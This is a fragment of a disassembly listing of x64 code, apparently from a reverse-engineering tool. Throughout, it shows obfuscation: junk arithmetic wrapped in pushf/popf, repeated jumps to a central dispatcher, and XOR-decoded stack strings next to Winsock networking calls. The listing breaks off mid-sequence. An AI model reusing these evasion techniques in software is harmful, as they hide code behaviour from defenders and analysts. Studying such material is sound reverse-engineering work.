popf
jmp 0x14008556a
mov byte [rbp - 0x20], 0xa
mov al, 0x9c
pushf
not al
add al, 0x87
xor al, 0xd
rol al, 0x24
popf
pushf
not al
add al, 4
xor al, 0x33
rol al, 0xc4
popf
mov cl, 0x65
pushf
not cl
add cl, 0x47
xor cl, 0x70
rol cl, 0x40
popf
pushf
not cl
add cl, 0x40
xor cl, 0x72
rol cl, 0xe7
popf
mov dl, 0xf4
pushf
not dl
add dl, 0x26
xor dl, 0x50
rol dl, 0xb7
popf
pushf
not dl
add dl, 0x8e
xor dl, 0xba
rol dl, 0xe0
popf
mov r8b, 0xbc
pushf
not r8b
add r8b, 0xd0
xor r8b, 0x45
rol r8b, 0x2a
popf
pushf
not r8b
add r8b, 0xf1
xor r8b, 0x1a
rol r8b, 0xbe
popf
mov r9b, 0x2d
pushf
not r9b
add r9b, 0x4f
xor r9b, 0x8d
rol r9b, 0x7f
popf
pushf
not r9b
add r9b, 0xc7
xor r9b, 0x36
rol r9b, 0x84
popf
xor r11d, r11d
xor al, 0xa
mov byte [rbp - 0x1f], al
xor cl, 0xa
mov byte [rbp - 0x1e], cl
xor dl, 0xa
mov byte [rbp - 0x1d], dl
xor r8b, 0xa
mov byte [rbp - 0x1c], r8b
xor r9b, 0xa
mov byte [rbp - 0x1b], r9b
mov byte [rbp - 0x1a], r11b
lea rcx, [r10 + 0x38]
lea rdx, [rbp - 0x1f]
mov rax, rbx
push rax
pushf
mov eax, 0x1866cba7
pushf
not eax
add eax, 0x93f59634
xor eax, 0xe61e3277
rol eax, 0x83
popf
pushf
not eax
add eax, 0xa885a70d
xor eax, 0xbbfadf30
rol eax, 0x52
popf
jmp 0x14008556a
inc rax
cmp byte [rdx + rax], r11b
jne 0x140086d59
push rax
pushf
mov eax, 0xa78ba2eb
pushf
not eax
add eax, 0xc1ab7cf6
xor eax, 0x863be285
rol eax, 0x67
popf
pushf
not eax
add eax, 0x82b17045
xor eax, 0xc00f8b49
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xa5243b94
xor eax, 0xd00a3e35
rol eax, 0xbf
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x39ee7ec7
pushf
not eax
add eax, 0xf2bf8c15
xor eax, 0xfd7099ce
rol eax, 0x47
popf
pushf
not eax
add eax, 0xdc2a2017
xor eax, 0xb8a71006
rol eax, 0x94
popf
pushf
not eax
add eax, 0xa102efb2
xor eax, 0xa5d7b025
rol eax, 0xe8
popf
jmp 0x14008556a
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x140086ddd
push rax
pushf
mov eax, 0x7a09e031
pushf
not eax
add eax, 0xf037627e
xor eax, 0xadf69a77
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xaac94544
xor eax, 0xbd3bb926
rol eax, 0x2c
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x70f4eb68
pushf
not eax
add eax, 0xa9480b10
xor eax, 0xaa436b69
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xa8557bb7
xor eax, 0xf7bbfb6e
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc7044685
xor eax, 0xb2438fd7
rol eax, 0x81
popf
jmp 0x14008556a
mov rcx, qword [rcx]
push rax
pushf
mov eax, 0xa53b288a
pushf
not eax
add eax, 0x92ae25bc
xor eax, 0xad96c0a2
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc79ba90d
xor eax, 0xf5e72fb2
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xeb284df4
xor eax, 0xee49c7b6
rol eax, 0xb6
popf
jmp 0x14008556a
cmp r8, rax
jne 0x140086ece
push rax
pushf
mov eax, 0x5e83754
pushf
not eax
add eax, 0xc593287d
xor eax, 0xdb59f3d7
rol eax, 0xb
popf
pushf
not eax
add eax, 0xc93e05e2
xor eax, 0xb406905e
rol eax, 0x22
popf
pushf
not eax
add eax, 0xdfd14bee
xor eax, 0xa38604a5
rol eax, 0x32
popf
pushf
not eax
add eax, 0x9030ab5e
xor eax, 0xfcb7083a
rol eax, 0x2e
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x85039068
pushf
not eax
add eax, 0x881cfaf7
xor eax, 0xac9a2987
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xfbfb6f54
xor eax, 0xf7b937cd
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xdbe062d4
xor eax, 0xb7b4be94
rol eax, 0x89
popf
pushf
not eax
add eax, 0x991291c2
xor eax, 0x8e5638be
rol eax, 0xd3
popf
jmp 0x14008556a
lea rdx, [rbp - 0x1f]
call fcn.140171672
test eax, eax
jne 0x140086f7e
push rax
pushf
mov eax, 0x8c3f7298
pushf
not eax
add eax, 0xbadcae00
xor eax, 0xd94112b6
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xeefe7b22
xor eax, 0x84d3b504
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xca1e0db1
xor eax, 0xcea08892
rol eax, 0x3e
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x97ff18e0
pushf
not eax
add eax, 0xf54d990e
xor eax, 0xda72177f
rol eax, 0x55
popf
pushf
not eax
add eax, 0xd4ac15d8
xor eax, 0xd84c8174
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbfbfd658
xor eax, 0xf373496c
rol eax, 0xb9
popf
jmp 0x14008556a
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], recv
mov byte [rbp + 0x28], al
movdqa xmm0, xmmword [0x140044e30]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140044e20]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x140044cf0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x140044d90]
movdqa xmmword [rbp - 0x50], xmm1
mov dword [rbp - 0x40], 0x696e6526
mov dword [rbp - 0x3c], 0x3c63656f
mov word [rbp - 0x38], 0x26
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xcaf1d280
pushf
not eax
add eax, 0xcca8474d
xor eax, 0xda3bd26b
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xc88a2c40
xor eax, 0xaab7b880
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8b5993da
xor eax, 0xf24dc8df
rol eax, 0x27
popf
pushf
not eax
add eax, 0xa61b5825
xor eax, 0xc34ad007
rol eax, 0xfc
popf
jmp 0x14008556a
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x79], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x78], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x77], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x76], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x75], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x74], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x73], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x72], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x71], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x70], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6e], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6d], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6c], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6b], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x6a], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x69], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x68], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x67], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x66], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x65], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x64], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x63], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x62], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x61], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x60], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x5f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x5e], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x5d], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x5c], al
add rcx, 0x24
cmp rcx, 0x48
jb 0x1400871ec
push rax
pushf
mov eax, 0xe5241c48
pushf
not eax
add eax, 0xeda88b9d
xor eax, 0x931790f7
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xa46495a3
xor eax, 0xa743d903
rol eax, 0x53
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xb3df3e47
pushf
not eax
add eax, 0xeefbe653
xor eax, 0xaccb2adf
rol eax, 0x81
popf
pushf
not eax
add eax, 0x8a9c6c7f
xor eax, 0xf76a8dd7
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xefd5df97
xor eax, 0xca69a03f
rol eax, 0x85
popf
jmp 0x14008556a
mov byte [rbp - 0x37], 0
lea rdx, [rbp - 0x7f]
lea rcx, [0x1a01dae19]
pushf
sub rcx, 0x6018e839
popf
call fcn.1400b76ee
lea rdx, [rbp + 0x28]
call fcn.1400e7ddf
mov byte [rsp + 0x30], 0x1f
mov al, 0xb7
pushf
not al
add al, 0x4f
xor al, 0xb9
rol al, 5
popf
pushf
not al
add al, 5
xor al, 0xa7
rol al, 0x5d
popf
pushf
not al
add al, 0x75
xor al, 0x31
rol al, 0xe1
popf
pushf
not al
add al, 0xf8
xor al, 0x92
rol al, 3
popf
xor ecx, ecx
xor al, 0x1f
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea rax, [rsp + 0x31]
mov rdx, rbx
push rax
pushf
mov eax, 0x46ca750f
pushf
not eax
add eax, 0xd4b7d716
xor eax, 0xd8eee0c7
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xa96d0657
xor eax, 0x9b629102
rol eax, 0x16
popf
jmp 0x14008556a
inc rdx
cmp byte [rax + rdx], cl
jne 0x14008733c
push rax
pushf
mov eax, 0xac542d77
pushf
not eax
add eax, 0xb9169c72
xor eax, 0x9e1d3c05
rol eax, 1
popf
pushf
not eax
add eax, 0xdd04b8c2
xor eax, 0xf9d2dc71
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe15a54b0
xor eax, 0x92e9a210
rol eax, 0xe
popf
pushf
not eax
add eax, 0xe080736a
xor eax, 0x97b9e391
rol eax, 0xa2
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x39146d9e
pushf
not eax
add eax, 0xb85e2cba
xor eax, 0xd6fcb159
rol eax, 0xe
popf
pushf
not eax
add eax, 0xee36475e
xor eax, 0xab859cf0
rol eax, 0x6d
popf
jmp 0x14008556a
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
setae r15b
mov r14, qword [rbp + 0x28]
cmovae rcx, r14
mov rsi, qword [rbp + 0x38]
cmp rsi, rdx
jne 0x1400873ea
push rax
pushf
mov eax, 0x14aea5db
pushf
not eax
add eax, 0x868c226a
xor eax, 0xb532a6d6
rol eax, 0x75
popf
pushf
not eax
add eax, 0xf3c09bc5
xor eax, 0xbdc35e68
rol eax, 0x20
popf
pushf
not eax
add eax, 0xbe35fb07
xor eax, 0xd88483c6
rol eax, 7
popf
pushf
not eax
add eax, 0xd9f4e433
xor eax, 0x890a927a
rol eax, 0xe8
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xa0502266
pushf
not eax
add eax, 0xe59d2016
xor eax, 0x8494c76f
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc0e459fe
xor eax, 0xe4063045
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xdc807bd4
xor eax, 0xd781ff00
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xd2c2d96f
xor eax, 0xb7ff64a0
rol eax, 0x3a
popf
jmp 0x14008556a
mov r8, rsi
lea rdx, [rsp + 0x31]
call fcn.140171672
test eax, eax
jne 0x1400874b1
push rax
pushf
mov eax, 0x8183fa70
pushf
not eax
add eax, 0xa61356a8
xor eax, 0x85f7a478
rol eax, 0x81
popf
pushf
not eax
add eax, 0x82157e5c
xor eax, 0x8e9dfeda
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xfbbefb42
xor eax, 0xb150f40f
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xb053fdde
xor eax, 0x9bfb0a85
rol eax, 0x4b
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x49e27a23
pushf
not eax
add eax, 0x87bd8bdf
xor eax, 0x9f4bce39
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xe02f8e43
xor eax, 0x9fbba09e
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x814bb717
xor eax, 0x90cb75d0
rol eax, 0x9b
popf
jmp 0x14008556a
mov rax, qword [0x14004e140]
mov rcx, qword [rax + 0xa0]
sub rcx, qword [rax + 0x98]
sar rcx, 5
cmp rcx, 1
jb 0x140087560
push rax
pushf
mov eax, 0xdb103051
pushf
not eax
add eax, 0xf91c1595
xor eax, 0xa84ee19c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xe0f99515
xor eax, 0xe29fea56
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd8750c64
xor eax, 0x92fd5aeb
rol eax, 0xf5
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x64a1a2b1
pushf
not eax
add eax, 0x969fa176
xor eax, 0xed257736
rol eax, 0x24
popf
pushf
not eax
add eax, 0x843f1385
xor eax, 0xeca36a6e
rol eax, 0xff
popf
pushf
not eax
add eax, 0x9bddbe68
xor eax, 0xeed1ef4b
rol eax, 0x74
popf
jmp 0x14008556a
mov byte [rsp + 0x30], 0x5e
mov al, 0xe0
pushf
not al
add al, 0x80
xor al, 1
rol al, 7
popf
pushf
not al
add al, 0x6d
xor al, 0x11
rol al, 0xca
popf
mov cl, 0xc2
pushf
not cl
add cl, 0x82
xor cl, 0xc9
rol cl, 0xb
popf
pushf
not cl
add cl, 0xf5
xor cl, 0x79
rol cl, 0xdf
popf
pushf
not cl
add cl, 0x5f
xor cl, 0xe4
rol cl, 0xbb
popf
pushf
not cl
add cl, 0xd3
xor cl, 0x24
rol cl, 0xb5
popf
mov dl, 0x8b
pushf
not dl
add dl, 0x76
xor dl, 0xfc
rol dl, 0xcc
popf
pushf
not dl
add dl, 0x7a
xor dl, 0x94
rol dl, 0x62
popf
xor r8d, r8d
xor al, 0x5e
mov byte [rsp + 0x31], al
xor cl, 0x5e
mov byte [rsp + 0x32], cl
xor dl, 0x5e
mov byte [rsp + 0x33], dl
mov byte [rsp + 0x34], r8b
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x88]
call fcn.14011d9be
nop
mov byte [rsp + 0x30], 0x2b
mov al, 0x7b
pushf
not al
add al, 0x99
xor al, 0x1f
rol al, 0xea
popf
pushf
not al
add al, 0x99
xor al, 0x75
rol al, 0x4e
popf
pushf
not al
add al, 0x20
xor al, 0x4c
rol al, 0x5b
popf
pushf
not al
add al, 0x9f
xor al, 0xe5
rol al, 0x51
popf
mov cl, 0xa2
pushf
not cl
add cl, 0x9f
xor cl, 0x14
rol cl, 0xb2
popf
pushf
not cl
add cl, 0x73
xor cl, 0x37
rol cl, 0xd9
popf
pushf
not cl
add cl, 0x59
xor cl, 0x75
rol cl, 0x85
popf
mov dl, 0x29
pushf
not dl
add dl, 0x93
xor dl, 0x27
rol dl, 0xf6
popf
pushf
not dl
add dl, 0x6c
xor dl, 0x5d
rol dl, 0xd4
popf
pushf
not dl
add dl, 0xd9
xor dl, 0xb9
rol dl, 0xe3
popf
pushf
not dl
add dl, 0x34
xor dl, 0xbb
rol dl, 0xca
popf
xor r8d, r8d
xor al, 0x2b
mov byte [rsp + 0x31], al
xor cl, 0x2b
mov byte [rsp + 0x32], cl
xor dl, 0x2b
mov byte [rsp + 0x33], dl
mov byte [rsp + 0x34], r8b
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x10]
call fcn.14011d9be
nop
mov byte [rsp + 0x30], 0x57
mov al, reloc.WS2_32.dll_WSAStartup
pushf
not al
add al, 0x69
xor al, 0xd3
rol al, 0x90
popf
pushf
not al
add al, 0x50
xor al, 0x4f
rol al, 0xf3
popf
pushf
not al
add al, 0x45
xor al, 0x1f
rol al, 0x9f
popf
pushf
not al
add al, 0x67
xor al, 0x2d
rol al, 0x6f
popf
mov cl, 0x52
pushf
not cl
add cl, 0xf0
xor cl, 0xa8
rol cl, 0xfd
popf
pushf
not cl
add cl, 0x6d
xor cl, 0xd4
rol cl, 0xf3
popf
pushf
not cl
add cl, 0x67
xor cl, 0xe8
rol cl, 0xe0
popf
mov dl, socket
pushf
not dl
add dl, 0x47
xor dl, 6
rol dl, 0x6e
popf
pushf
not dl
add dl, 0x4b
xor dl, 0x88
rol dl, 6
popf
pushf
not dl
add dl, 0xca
xor dl, 0x1b
rol dl, 0xbb
popf
xor r8d, r8d
xor al, 0x57
mov byte [rsp + 0x31], al
xor cl, 0x57
mov byte [rsp + 0x32], cl
xor dl, 0x57
mov byte [rsp + 0x33], dl
mov byte [rsp + 0x34], r8b
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x68]
call fcn.14011d9be
nop
mov rcx, qword [0x14004e140]
add rcx, 0x98
call fcn.1400e7d70
test rax, rax
je 0x140087839
push rax
pushf
mov eax, 0xd37dcc9b
pushf
not eax
add eax, 0xe4c92390
xor eax, 0xe145c943
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xd254c4d6
xor eax, 0x9c1554f5
rol eax, 0x88
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xfec5cf7f
pushf
not eax
add eax, 0xaa10f319
xor eax, 0x9887074f
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe4ce70b2
xor eax, 0xca92d23e
rol eax, 0x52
popf
pushf
not eax
add eax, 0xb4c55cca
xor eax, 0x9d534922
rol eax, 0xb8
popf
jmp 0x14008556a
mov rsi, rdi
nop dword [rax]
push rax
pushf
mov eax, 0x54da2ff0
pushf
not eax
add eax, 0xe9df3cdf
xor eax, 0xea34a5ee
rol eax, 8
popf
pushf
not eax
add eax, 0xdf571aa0
xor eax, 0xab8723ed
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd52ff23f
xor eax, 0xa829c907
rol eax, 0x64
popf
jmp 0x14008556a
mov byte [rbp - 0x20], 0x31
mov al, 0x2c
pushf
not al
add al, 0xd
xor al, 0xad
rol al, 0x77
popf
pushf
not al
add al, 0x3b
xor al, 0xd9
rol al, 0x1b
popf
mov cl, 0x1f
pushf
not cl
add cl, 0x60
xor cl, 0x14
rol cl, 0xb3
popf
pushf
not cl
add cl, 0x5c
xor cl, 0x1b
rol cl, 0x23
popf
mov dl, 0xe8
pushf
not dl
add dl, 0xb9
xor dl, 0x45
rol dl, 0x17
popf
pushf
not dl
add dl, 0xd1
xor dl, 0x5f
rol dl, 0xee
popf
pushf
not dl
add dl, 0xe4
xor dl, 0x83
rol dl, 0xb0
popf
pushf
not dl
add dl, 0xe7
xor dl, 0x69
rol dl, 0xce
popf
mov r8b, 0x29
pushf
not r8b
add r8b, 0x28
xor r8b, 0xcd
rol r8b, 0xa4
popf
pushf
not r8b
add r8b, 0xbd
xor r8b, 0xab
rol r8b, 0xdf
popf
xor r9d, r9d
xor al, 0x31
mov byte [rbp - 0x1f], al
xor cl, 0x31
mov byte [rbp - 0x1e], cl
xor dl, 0x31
mov byte [rbp - 0x1d], dl
xor r8b, 0x31
mov byte [rbp - 0x1c], r8b
mov byte [rbp - 0x1b], r9b
lea rdx, [rbp - 0x1f]
lea rcx, [0x1807c68ca]
pushf
sub rcx, 0x4077a2ea
popf
call fcn.1400b76ee
lea ebx, [rdi + 1]
mov edx, ebx
mov rcx, rax
call fcn.14017d999
mov byte [rsp + 0x30], 0x77
mov cl, 0x4c
pushf
not cl
add cl, 0xdf
xor cl, 0xc4
rol cl, 0xff
popf
pushf
not cl
add cl, 0xfa
xor cl, 0x5b
rol cl, 0x5c
popf
mov dl, 0x82
pushf
not dl
add dl, 0x19
xor dl, 0x3d
rol dl, 0x1c
popf
pushf
not dl
add dl, 0xe9
xor dl, 0xcb
rol dl, 0x3e
popf
pushf
not dl
add dl, 0xc8
xor dl, 0xa4
rol dl, 0xc3
popf
xor r8d, r8d
xor cl, 0x77
mov byte [rsp + 0x31], cl
xor dl, 0x77
mov byte [rsp + 0x32], dl
mov byte [rsp + 0x33], r8b
lea rdx, [rsp + 0x31]
mov rcx, rax
call fcn.1400b76ee
mov r8, rax
mov rcx, qword [0x14004e140]
add rcx, 0x98
mov rdx, rsi
call fcn.1400a3951
mov rdx, rax
mov rcx, r8
call fcn.1400bf6ca
mov rcx, rax
call fcn.14017f08e
movsxd rdi, ebx
mov rsi, rdi
mov rcx, qword [0x14004e140]
add rcx, 0x98
call fcn.1400e7d70
cmp rdi, rax
jb 0x140087ab3
push rax
pushf
mov eax, 0x4ed9ed6c
pushf
not eax
add eax, 0x9b0f727b
xor eax, 0xe93f8b0b
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x917462a0
xor eax, 0x8a74f01a
rol eax, 0x93
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x7b519d69
pushf
not eax
add eax, 0x8d5239d1
xor eax, 0x8fd91b34
rol eax, 0x20
popf
pushf
not eax
add eax, 0x96f3defb
xor eax, 0xfaf9d7e2
rol eax, 0x17
popf
pushf
not eax
add eax, 0xece4e93a
xor eax, 0xad2a0c08
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdcd38f3f
xor eax, 0xed1c78c8
rol eax, 0x44
popf
jmp 0x14008556a
movdqa xmm1, xmmword [0x140044e70]
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x7e
pushf
not dl
add dl, 0x55
xor dl, 0x19
rol dl, 0x4e
popf
pushf
not dl
add dl, 0xf7
xor dl, 0x62
rol dl, 0x9e
popf
pushf
not dl
add dl, 0xa6
xor dl, 0x7f
rol dl, 0x97
popf
pushf
not dl
add dl, 0xee
xor dl, 0xb8
rol dl, 0x20
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
mov byte [rsp + 0x51], 0
lea rdx, [rsp + 0x41]
lea rcx, [0x1b23865e9]
pushf
sub rcx, 0x7233a009
popf
call fcn.1400b76ee
lea rdx, [rbp + 0x68]
call fcn.1400e7ddf
mov rbx, qword [0x14004e140]
lea rcx, [rbp + 0x68]
call fcn.1400b5845
jmp 0x140087be8
dec eax
movsxd rdx, eax
lea rcx, [rbx + 0x98]
call fcn.1400a3951
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.14019fc54
movdqa xmm1, xmmword [str.W__]
movdqu xmmword [rsp + 0x60], xmm1
mov dl, 0x32
pushf
not dl
add dl, 0x29
xor dl, 0x36
rol dl, 0x6b
popf
pushf
not dl
add dl, 0x76
xor dl, 2
rol dl, 0x83
popf
pushf
not dl
add dl, 0xdf
xor dl, 0x27
rol dl, 0x9e
popf
mov r8b, WSAStartup
pushf
not r8b
add r8b, 0x12
xor r8b, 0x4b
rol r8b, 0x1d
popf
pushf
not r8b
add r8b, 0xd5
xor r8b, 0x8e
rol r8b, 0x3e
popf
pushf
not r8b
add r8b, 0x47
xor r8b, 0x17
rol r8b, 0x6a
popf
mov r9b, socket
pushf
not r9b
add r9b, 0x70
xor r9b, 0x26
rol r9b, 0xe7
popf
pushf
not r9b
add r9b, 0x7b
xor r9b, 0x87
rol r9b, 0x8e
popf
pushf
not r9b
add r9b, 0xed
xor r9b, 0x2d
rol r9b, 0x78
popf
pushf
not r9b
add r9b, 0xdc
xor r9b, 0xc0
rol r9b, 0x85
popf
mov r10b, 0x46
pushf
not r10b
add r10b, 0x1d
xor r10b, 0x18
rol r10b, 0xe3
popf
pushf
not r10b
add r10b, 0xa9
xor r10b, 0x97
rol r10b, 2
popf
pushf
not r10b
add r10b, 0x5a
xor r10b, 0xe2
rol r10b, 0xcc
popf
mov r11b, 0xe0
pushf
not r11b
add r11b, 0x67
xor r11b, 0xb
rol r11b, 0x7b
popf
pushf
not r11b
add r11b, 0x9a
xor r11b, 0x11
rol r11b, 0x36
popf
movzx ebx, r9b
movzx edi, r11b
mov sil, 0xaf
pushf
not sil
add sil, 0x6d
xor sil, 0x75
rol sil, 0xb1
popf
pushf
not sil
add sil, 0x75
xor sil, 0x87
rol sil, 0xc4
popf
mov r14b, 0x8e
pushf
not r14b
add r14b, 0x43
xor r14b, 0x6d
rol r14b, 0x32
popf
pushf
not r14b
add r14b, 0xa7
xor r14b, 0x43
rol r14b, 0x8d
popf
pushf
not r14b
add r14b, 0x60
xor r14b, 0x49
rol r14b, 0xe9
popf
pushf
not r14b
add r14b, 0xed
xor r14b, 0xe5
rol r14b, 0xc0
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor dl, cl
mov byte [rsp + 0x70], dl
xor r8b, cl
mov byte [rsp + 0x71], r8b
xor r9b, cl
mov byte [rsp + 0x72], r9b
xor r10b, cl
mov byte [rsp + 0x73], r10b
xor r11b, cl
mov byte [rsp + 0x74], r11b
xor bl, cl
mov byte [rsp + 0x75], bl
xor dil, cl
mov byte [rsp + 0x76], dil
xor sil, cl
mov byte [rsp + 0x77], sil
xor r14b, cl
mov byte [rsp + 0x78], r14b
mov byte [rsp + 0x79], 0
lea rdx, [rsp + 0x61]
lea rcx, [0x1aa27e9f6]
pushf
sub rcx, 0x6a232416
popf
call fcn.1400b76ee
lea rdx, [rbp + 0x88]
call fcn.1400e7ddf
movdqa xmm1, xmmword [0x140044d30]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x140044c40]
movdqu xmmword [rsp + 0x70], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
mov byte [rsp + 0x7f], 0
lea rdx, [rsp + 0x61]
lea rcx, [0x194e6b289]
pushf
sub rcx, 0x54e1eca9
popf
call fcn.1400b76ee
lea rdx, [rbp - 0x10]
call fcn.1400e7ddf
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x80]
call fcn.14011d130
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x60]
call fcn.14011d130
nop
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.14011d130
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x80]
